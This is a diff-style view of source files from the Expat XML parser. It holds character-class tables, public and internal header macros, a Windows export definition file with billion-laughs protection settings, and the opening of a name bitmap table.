#define ASCII_HASH 0x23
#define ASCII_PIPE 0x7C
#define ASCII_COMMA 0x2C
+66
View File
@@ -0,0 +1,66 @@
/*
__ __ _
___\ \/ /_ __ __ _| |_
/ _ \\ /| '_ \ / _` | __|
| __// \| |_) | (_| | |_
\___/_/\_\ .__/ \__,_|\__|
|_| XML parser
Copyright (c) 1997-2000 Thai Open Source Software Center Ltd
Copyright (c) 2000 Clark Cooper <coopercc@users.sourceforge.net>
Copyright (c) 2002 Fred L. Drake, Jr. <fdrake@users.sourceforge.net>
Copyright (c) 2017 Sebastian Pipping <sebastian@pipping.org>
Licensed under the MIT license:
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the
following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
/* 0x00 */ BT_NONXML, BT_NONXML, BT_NONXML, BT_NONXML,
/* 0x04 */ BT_NONXML, BT_NONXML, BT_NONXML, BT_NONXML,
/* 0x08 */ BT_NONXML, BT_S, BT_LF, BT_NONXML,
/* 0x0C */ BT_NONXML, BT_CR, BT_NONXML, BT_NONXML,
/* 0x10 */ BT_NONXML, BT_NONXML, BT_NONXML, BT_NONXML,
/* 0x14 */ BT_NONXML, BT_NONXML, BT_NONXML, BT_NONXML,
/* 0x18 */ BT_NONXML, BT_NONXML, BT_NONXML, BT_NONXML,
/* 0x1C */ BT_NONXML, BT_NONXML, BT_NONXML, BT_NONXML,
/* 0x20 */ BT_S, BT_EXCL, BT_QUOT, BT_NUM,
/* 0x24 */ BT_OTHER, BT_PERCNT, BT_AMP, BT_APOS,
/* 0x28 */ BT_LPAR, BT_RPAR, BT_AST, BT_PLUS,
/* 0x2C */ BT_COMMA, BT_MINUS, BT_NAME, BT_SOL,
/* 0x30 */ BT_DIGIT, BT_DIGIT, BT_DIGIT, BT_DIGIT,
/* 0x34 */ BT_DIGIT, BT_DIGIT, BT_DIGIT, BT_DIGIT,
/* 0x38 */ BT_DIGIT, BT_DIGIT, BT_COLON, BT_SEMI,
/* 0x3C */ BT_LT, BT_EQUALS, BT_GT, BT_QUEST,
/* 0x40 */ BT_OTHER, BT_HEX, BT_HEX, BT_HEX,
/* 0x44 */ BT_HEX, BT_HEX, BT_HEX, BT_NMSTRT,
/* 0x48 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0x4C */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0x50 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0x54 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0x58 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_LSQB,
/* 0x5C */ BT_OTHER, BT_RSQB, BT_OTHER, BT_NMSTRT,
/* 0x60 */ BT_OTHER, BT_HEX, BT_HEX, BT_HEX,
/* 0x64 */ BT_HEX, BT_HEX, BT_HEX, BT_NMSTRT,
/* 0x68 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0x6C */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0x70 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0x74 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0x78 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_OTHER,
/* 0x7C */ BT_VERBAR, BT_OTHER, BT_OTHER, BT_OTHER,
+1064
View File
File diff suppressed because it is too large. Load diff
+165
View File
@@ -0,0 +1,165 @@
/*
__ __ _
___\ \/ /_ __ __ _| |_
/ _ \\ /| '_ \ / _` | __|
| __// \| |_) | (_| | |_
\___/_/\_\ .__/ \__,_|\__|
|_| XML parser
Copyright (c) 1997-2000 Thai Open Source Software Center Ltd
Copyright (c) 2000 Clark Cooper <coopercc@users.sourceforge.net>
Copyright (c) 2000-2004 Fred L. Drake, Jr. <fdrake@users.sourceforge.net>
Copyright (c) 2001-2002 Greg Stein <gstein@users.sourceforge.net>
Copyright (c) 2002-2006 Karl Waclawek <karl@waclawek.net>
Copyright (c) 2016 Cristian Rodríguez <crrodriguez@opensuse.org>
Copyright (c) 2016-2019 Sebastian Pipping <sebastian@pipping.org>
Copyright (c) 2017 Rhodri James <rhodri@wildebeest.org.uk>
Copyright (c) 2018 Yury Gribov <tetra2005@gmail.com>
Licensed under the MIT license:
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the
following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#ifndef Expat_External_INCLUDED
#define Expat_External_INCLUDED 1
/* External API definitions */
/* Expat tries very hard to make the API boundary very specifically
defined. There are two macros defined to control this boundary;
each of these can be defined before including this header to
achieve some different behavior, but doing so it not recommended or
tested frequently.
XMLCALL - The calling convention to use for all calls across the
"library boundary." This will default to cdecl, and
try really hard to tell the compiler that's what we
want.
XMLIMPORT - Whatever magic is needed to note that a function is
to be imported from a dynamically loaded library
(.dll, .so, or .sl, depending on your platform).
The XMLCALL macro was added in Expat 1.95.7. The only one which is
expected to be directly useful in client code is XMLCALL.
Note that on at least some Unix versions, the Expat library must be
compiled with the cdecl calling convention as the default since
system headers may assume the cdecl convention.
*/
#ifndef XMLCALL
# if defined(_MSC_VER)
# define XMLCALL __cdecl
# elif defined(__GNUC__) && defined(__i386) && ! defined(__INTEL_COMPILER)
# define XMLCALL __attribute__((cdecl))
# else
/* For any platform which uses this definition and supports more than
one calling convention, we need to extend this definition to
declare the convention used on that platform, if it's possible to
do so.
If this is the case for your platform, please file a bug report
with information on how to identify your platform via the C
pre-processor and how to specify the same calling convention as the
platform's malloc() implementation.
*/
# define XMLCALL
# endif
#endif /* not defined XMLCALL */
#if ! defined(XML_STATIC) && ! defined(XMLIMPORT)
# ifndef XML_BUILDING_EXPAT
/* using Expat from an application */
# if defined(_MSC_EXTENSIONS) && ! defined(__BEOS__) && ! defined(__CYGWIN__)
# define XMLIMPORT __declspec(dllimport)
# endif
# endif
#endif /* not defined XML_STATIC */
#ifndef XML_ENABLE_VISIBILITY
# define XML_ENABLE_VISIBILITY 0
#endif
#if ! defined(XMLIMPORT) && XML_ENABLE_VISIBILITY
# define XMLIMPORT __attribute__((visibility("default")))
#endif
/* If we didn't define it above, define it away: */
#ifndef XMLIMPORT
# define XMLIMPORT
#endif
#if defined(__GNUC__) \
&& (__GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 96))
# define XML_ATTR_MALLOC __attribute__((__malloc__))
#else
# define XML_ATTR_MALLOC
#endif
#if defined(__GNUC__) \
&& ((__GNUC__ > 4) || (__GNUC__ == 4 && __GNUC_MINOR__ >= 3))
# define XML_ATTR_ALLOC_SIZE(x) __attribute__((__alloc_size__(x)))
#else
# define XML_ATTR_ALLOC_SIZE(x)
#endif
#define XMLPARSEAPI(type) XMLIMPORT type XMLCALL
#ifdef __cplusplus
extern "C" {
#endif
#ifdef XML_UNICODE_WCHAR_T
# ifndef XML_UNICODE
# define XML_UNICODE
# endif
# if defined(__SIZEOF_WCHAR_T__) && (__SIZEOF_WCHAR_T__ != 2)
# error "sizeof(wchar_t) != 2; Need -fshort-wchar for both Expat and libc"
# endif
#endif
#ifdef XML_UNICODE /* Information is UTF-16 encoded. */
# ifdef XML_UNICODE_WCHAR_T
typedef wchar_t XML_Char;
typedef wchar_t XML_LChar;
# else
typedef unsigned short XML_Char;
typedef char XML_LChar;
# endif /* XML_UNICODE_WCHAR_T */
#else /* Information is UTF-8 encoded. */
typedef char XML_Char;
typedef char XML_LChar;
#endif /* XML_UNICODE */
#ifdef XML_LARGE_SIZE /* Use large integers for file/stream positions. */
typedef long long XML_Index;
typedef unsigned long long XML_Size;
#else
typedef long XML_Index;
typedef unsigned long XML_Size;
#endif /* XML_LARGE_SIZE */
#ifdef __cplusplus
}
#endif
#endif /* not Expat_External_INCLUDED */
+67
View File
@@ -0,0 +1,67 @@
/*
__ __ _
___\ \/ /_ __ __ _| |_
/ _ \\ /| '_ \ / _` | __|
| __// \| |_) | (_| | |_
\___/_/\_\ .__/ \__,_|\__|
|_| XML parser
Copyright (c) 1997-2000 Thai Open Source Software Center Ltd
Copyright (c) 2000 Clark Cooper <coopercc@users.sourceforge.net>
Copyright (c) 2002 Fred L. Drake, Jr. <fdrake@users.sourceforge.net>
Copyright (c) 2017 Sebastian Pipping <sebastian@pipping.org>
Licensed under the MIT license:
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the
following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
/* Like asciitab.h, except that 0xD has code BT_S rather than BT_CR */
/* 0x00 */ BT_NONXML, BT_NONXML, BT_NONXML, BT_NONXML,
/* 0x04 */ BT_NONXML, BT_NONXML, BT_NONXML, BT_NONXML,
/* 0x08 */ BT_NONXML, BT_S, BT_LF, BT_NONXML,
/* 0x0C */ BT_NONXML, BT_S, BT_NONXML, BT_NONXML,
/* 0x10 */ BT_NONXML, BT_NONXML, BT_NONXML, BT_NONXML,
/* 0x14 */ BT_NONXML, BT_NONXML, BT_NONXML, BT_NONXML,
/* 0x18 */ BT_NONXML, BT_NONXML, BT_NONXML, BT_NONXML,
/* 0x1C */ BT_NONXML, BT_NONXML, BT_NONXML, BT_NONXML,
/* 0x20 */ BT_S, BT_EXCL, BT_QUOT, BT_NUM,
/* 0x24 */ BT_OTHER, BT_PERCNT, BT_AMP, BT_APOS,
/* 0x28 */ BT_LPAR, BT_RPAR, BT_AST, BT_PLUS,
/* 0x2C */ BT_COMMA, BT_MINUS, BT_NAME, BT_SOL,
/* 0x30 */ BT_DIGIT, BT_DIGIT, BT_DIGIT, BT_DIGIT,
/* 0x34 */ BT_DIGIT, BT_DIGIT, BT_DIGIT, BT_DIGIT,
/* 0x38 */ BT_DIGIT, BT_DIGIT, BT_COLON, BT_SEMI,
/* 0x3C */ BT_LT, BT_EQUALS, BT_GT, BT_QUEST,
/* 0x40 */ BT_OTHER, BT_HEX, BT_HEX, BT_HEX,
/* 0x44 */ BT_HEX, BT_HEX, BT_HEX, BT_NMSTRT,
/* 0x48 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0x4C */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0x50 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0x54 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0x58 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_LSQB,
/* 0x5C */ BT_OTHER, BT_RSQB, BT_OTHER, BT_NMSTRT,
/* 0x60 */ BT_OTHER, BT_HEX, BT_HEX, BT_HEX,
/* 0x64 */ BT_HEX, BT_HEX, BT_HEX, BT_NMSTRT,
/* 0x68 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0x6C */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0x70 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0x74 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0x78 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_OTHER,
/* 0x7C */ BT_VERBAR, BT_OTHER, BT_OTHER, BT_OTHER,
+165
View File
@@ -0,0 +1,165 @@
/* internal.h
Internal definitions used by Expat. This is not needed to compile
client code.
The following calling convention macros are defined for frequently
called functions:
FASTCALL - Used for those internal functions that have a simple
body and a low number of arguments and local variables.
PTRCALL - Used for functions called though function pointers.
PTRFASTCALL - Like PTRCALL, but for low number of arguments.
inline - Used for selected internal functions for which inlining
may improve performance on some platforms.
Note: Use of these macros is based on judgement, not hard rules,
and therefore subject to change.
__ __ _
___\ \/ /_ __ __ _| |_
/ _ \\ /| '_ \ / _` | __|
| __// \| |_) | (_| | |_
\___/_/\_\ .__/ \__,_|\__|
|_| XML parser
Copyright (c) 2002-2003 Fred L. Drake, Jr. <fdrake@users.sourceforge.net>
Copyright (c) 2002-2006 Karl Waclawek <karl@waclawek.net>
Copyright (c) 2003 Greg Stein <gstein@users.sourceforge.net>
Copyright (c) 2016-2022 Sebastian Pipping <sebastian@pipping.org>
Copyright (c) 2018 Yury Gribov <tetra2005@gmail.com>
Copyright (c) 2019 David Loffredo <loffredo@steptools.com>
Licensed under the MIT license:
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the
following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#if defined(__GNUC__) && defined(__i386__) && ! defined(__MINGW32__)
/* We'll use this version by default only where we know it helps.
regparm() generates warnings on Solaris boxes. See SF bug #692878.
Instability reported with egcs on a RedHat Linux 7.3.
Let's comment out:
#define FASTCALL __attribute__((stdcall, regparm(3)))
and let's try this:
*/
# define FASTCALL __attribute__((regparm(3)))
# define PTRFASTCALL __attribute__((regparm(3)))
#endif
/* Using __fastcall seems to have an unexpected negative effect under
MS VC++, especially for function pointers, so we won't use it for
now on that platform. It may be reconsidered for a future release
if it can be made more effective.
Likely reason: __fastcall on Windows is like stdcall, therefore
the compiler cannot perform stack optimizations for call clusters.
*/
/* Make sure all of these are defined if they aren't already. */
#ifndef FASTCALL
# define FASTCALL
#endif
#ifndef PTRCALL
# define PTRCALL
#endif
#ifndef PTRFASTCALL
# define PTRFASTCALL
#endif
#ifndef XML_MIN_SIZE
# if ! defined(__cplusplus) && ! defined(inline)
# ifdef __GNUC__
# define inline __inline
# endif /* __GNUC__ */
# endif
#endif /* XML_MIN_SIZE */
#ifdef __cplusplus
# define inline inline
#else
# ifndef inline
# define inline
# endif
#endif
#include <limits.h> // ULONG_MAX
#if defined(_WIN32) \
&& (! defined(__USE_MINGW_ANSI_STDIO) \
|| (1 - __USE_MINGW_ANSI_STDIO - 1 == 0))
# define EXPAT_FMT_ULL(midpart) "%" midpart "I64u"
# if defined(_WIN64) // Note: modifiers "td" and "zu" do not work for MinGW
# define EXPAT_FMT_PTRDIFF_T(midpart) "%" midpart "I64d"
# define EXPAT_FMT_SIZE_T(midpart) "%" midpart "I64u"
# else
# define EXPAT_FMT_PTRDIFF_T(midpart) "%" midpart "d"
# define EXPAT_FMT_SIZE_T(midpart) "%" midpart "u"
# endif
#else
# define EXPAT_FMT_ULL(midpart) "%" midpart "llu"
# if ! defined(ULONG_MAX)
# error Compiler did not define ULONG_MAX for us
# elif ULONG_MAX == 18446744073709551615u // 2^64-1
# define EXPAT_FMT_PTRDIFF_T(midpart) "%" midpart "ld"
# define EXPAT_FMT_SIZE_T(midpart) "%" midpart "lu"
# else
# define EXPAT_FMT_PTRDIFF_T(midpart) "%" midpart "d"
# define EXPAT_FMT_SIZE_T(midpart) "%" midpart "u"
# endif
#endif
#ifndef UNUSED_P
# define UNUSED_P(p) (void)p
#endif
/* NOTE BEGIN If you ever patch these defaults to greater values
for non-attack XML payload in your environment,
please file a bug report with libexpat. Thank you!
*/
#define EXPAT_BILLION_LAUGHS_ATTACK_PROTECTION_MAXIMUM_AMPLIFICATION_DEFAULT \
100.0f
#define EXPAT_BILLION_LAUGHS_ATTACK_PROTECTION_ACTIVATION_THRESHOLD_DEFAULT \
8388608 // 8 MiB, 2^23
/* NOTE END */
#include "expat.h" // so we can use type XML_Parser below
#ifdef __cplusplus
extern "C" {
#endif
void _INTERNAL_trim_to_complete_utf8_characters(const char *from,
const char **fromLimRef);
#if defined(XML_DTD)
unsigned long long testingAccountingGetCountBytesDirect(XML_Parser parser);
unsigned long long testingAccountingGetCountBytesIndirect(XML_Parser parser);
const char *unsignedCharToPrintable(unsigned char c);
#endif
#ifdef __cplusplus
}
#endif
+66
View File
@@ -0,0 +1,66 @@
/*
__ __ _
___\ \/ /_ __ __ _| |_
/ _ \\ /| '_ \ / _` | __|
| __// \| |_) | (_| | |_
\___/_/\_\ .__/ \__,_|\__|
|_| XML parser
Copyright (c) 1997-2000 Thai Open Source Software Center Ltd
Copyright (c) 2000 Clark Cooper <coopercc@users.sourceforge.net>
Copyright (c) 2002 Fred L. Drake, Jr. <fdrake@users.sourceforge.net>
Copyright (c) 2017 Sebastian Pipping <sebastian@pipping.org>
Licensed under the MIT license:
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the
following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
/* 0x80 */ BT_OTHER, BT_OTHER, BT_OTHER, BT_OTHER,
/* 0x84 */ BT_OTHER, BT_OTHER, BT_OTHER, BT_OTHER,
/* 0x88 */ BT_OTHER, BT_OTHER, BT_OTHER, BT_OTHER,
/* 0x8C */ BT_OTHER, BT_OTHER, BT_OTHER, BT_OTHER,
/* 0x90 */ BT_OTHER, BT_OTHER, BT_OTHER, BT_OTHER,
/* 0x94 */ BT_OTHER, BT_OTHER, BT_OTHER, BT_OTHER,
/* 0x98 */ BT_OTHER, BT_OTHER, BT_OTHER, BT_OTHER,
/* 0x9C */ BT_OTHER, BT_OTHER, BT_OTHER, BT_OTHER,
/* 0xA0 */ BT_OTHER, BT_OTHER, BT_OTHER, BT_OTHER,
/* 0xA4 */ BT_OTHER, BT_OTHER, BT_OTHER, BT_OTHER,
/* 0xA8 */ BT_OTHER, BT_OTHER, BT_NMSTRT, BT_OTHER,
/* 0xAC */ BT_OTHER, BT_OTHER, BT_OTHER, BT_OTHER,
/* 0xB0 */ BT_OTHER, BT_OTHER, BT_OTHER, BT_OTHER,
/* 0xB4 */ BT_OTHER, BT_NMSTRT, BT_OTHER, BT_NAME,
/* 0xB8 */ BT_OTHER, BT_OTHER, BT_NMSTRT, BT_OTHER,
/* 0xBC */ BT_OTHER, BT_OTHER, BT_OTHER, BT_OTHER,
/* 0xC0 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0xC4 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0xC8 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0xCC */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0xD0 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0xD4 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_OTHER,
/* 0xD8 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0xDC */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0xE0 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0xE4 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0xE8 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0xEC */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0xF0 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0xF4 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_OTHER,
/* 0xF8 */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
/* 0xFC */ BT_NMSTRT, BT_NMSTRT, BT_NMSTRT, BT_NMSTRT,
+79
View File
@@ -0,0 +1,79 @@
; DEF file for MS VC++
EXPORTS
XML_DefaultCurrent @1
XML_ErrorString @2
XML_ExpatVersion @3
XML_ExpatVersionInfo @4
XML_ExternalEntityParserCreate @5
XML_GetBase @6
XML_GetBuffer @7
XML_GetCurrentByteCount @8
XML_GetCurrentByteIndex @9
XML_GetCurrentColumnNumber @10
XML_GetCurrentLineNumber @11
XML_GetErrorCode @12
XML_GetIdAttributeIndex @13
XML_GetInputContext @14
XML_GetSpecifiedAttributeCount @15
XML_Parse @16
XML_ParseBuffer @17
XML_ParserCreate @18
XML_ParserCreateNS @19
XML_ParserCreate_MM @20
XML_ParserFree @21
XML_SetAttlistDeclHandler @22
XML_SetBase @23
XML_SetCdataSectionHandler @24
XML_SetCharacterDataHandler @25
XML_SetCommentHandler @26
XML_SetDefaultHandler @27
XML_SetDefaultHandlerExpand @28
XML_SetDoctypeDeclHandler @29
XML_SetElementDeclHandler @30
XML_SetElementHandler @31
XML_SetEncoding @32
XML_SetEndCdataSectionHandler @33
XML_SetEndDoctypeDeclHandler @34
XML_SetEndElementHandler @35
XML_SetEndNamespaceDeclHandler @36
XML_SetEntityDeclHandler @37
XML_SetExternalEntityRefHandler @38
XML_SetExternalEntityRefHandlerArg @39
XML_SetNamespaceDeclHandler @40
XML_SetNotStandaloneHandler @41
XML_SetNotationDeclHandler @42
XML_SetParamEntityParsing @43
XML_SetProcessingInstructionHandler @44
XML_SetReturnNSTriplet @45
XML_SetStartCdataSectionHandler @46
XML_SetStartDoctypeDeclHandler @47
XML_SetStartElementHandler @48
XML_SetStartNamespaceDeclHandler @49
XML_SetUnknownEncodingHandler @50
XML_SetUnparsedEntityDeclHandler @51
XML_SetUserData @52
XML_SetXmlDeclHandler @53
XML_UseParserAsHandlerArg @54
; added with version 1.95.3
XML_ParserReset @55
XML_SetSkippedEntityHandler @56
; added with version 1.95.5
XML_GetFeatureList @57
XML_UseForeignDTD @58
; added with version 1.95.6
XML_FreeContentModel @59
XML_MemMalloc @60
XML_MemRealloc @61
XML_MemFree @62
; added with version 1.95.8
XML_StopParser @63
XML_ResumeParser @64
XML_GetParsingStatus @65
; added with version 2.1.1
@_EXPAT_COMMENT_ATTR_INFO@ XML_GetAttributeInfo @66
XML_SetHashSalt @67
; internal @68 removed with version 2.3.1
; added with version 2.4.0
@_EXPAT_COMMENT_DTD@ XML_SetBillionLaughsAttackProtectionActivationThreshold @69
@_EXPAT_COMMENT_DTD@ XML_SetBillionLaughsAttackProtectionMaximumAmplification @70
+136
View File
@@ -0,0 +1,136 @@
/*
__ __ _
___\ \/ /_ __ __ _| |_
/ _ \\ /| '_ \ / _` | __|
| __// \| |_) | (_| | |_
\___/_/\_\ .__/ \__,_|\__|
|_| XML parser
Copyright (c) 2000 Clark Cooper <coopercc@users.sourceforge.net>
Copyright (c) 2017 Sebastian Pipping <sebastian@pipping.org>
Licensed under the MIT license:
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the
following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
static const unsigned namingBitmap[] = {
0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0x00000000, 0x04000000,
0x87FFFFFE, 0x07FFFFFE, 0x00000000, 0x00000000, 0xFF7FFFFF, 0xFF7FFFFF,
0xFFFFFFFF, 0x7FF3FFFF, 0xFFFFFDFE, 0x7FFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFE00F, 0xFC31FFFF, 0x00FFFFFF, 0x00000000, 0xFFFF0000, 0xFFFFFFFF,
0xFFFFFFFF, 0xF80001FF, 0x00000003, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0xFFFFD740, 0xFFFFFFFB, 0x547F7FFF, 0x000FFFFD,
0xFFFFDFFE, 0xFFFFFFFF, 0xDFFEFFFF, 0xFFFFFFFF, 0xFFFF0003, 0xFFFFFFFF,
0xFFFF199F, 0x033FCFFF, 0x00000000, 0xFFFE0000, 0x027FFFFF, 0xFFFFFFFE,
0x0000007F, 0x00000000, 0xFFFF0000, 0x000707FF, 0x00000000, 0x07FFFFFE,
0x000007FE, 0xFFFE0000, 0xFFFFFFFF, 0x7CFFFFFF, 0x002F7FFF, 0x00000060,
0xFFFFFFE0, 0x23FFFFFF, 0xFF000000, 0x00000003, 0xFFF99FE0, 0x03C5FDFF,
0xB0000000, 0x00030003, 0xFFF987E0, 0x036DFDFF, 0x5E000000, 0x001C0000,
0xFFFBAFE0, 0x23EDFDFF, 0x00000000, 0x00000001, 0xFFF99FE0, 0x23CDFDFF,
0xB0000000, 0x00000003, 0xD63DC7E0, 0x03BFC718, 0x00000000, 0x00000000,
0xFFFDDFE0, 0x03EFFDFF, 0x00000000, 0x00000003, 0xFFFDDFE0, 0x03EFFDFF,
0x40000000, 0x00000003, 0xFFFDDFE0, 0x03FFFDFF, 0x00000000, 0x00000003,
0x00000000, 0x00000000, 0x00000000, 0x00000000, 0xFFFFFFFE, 0x000D7FFF,
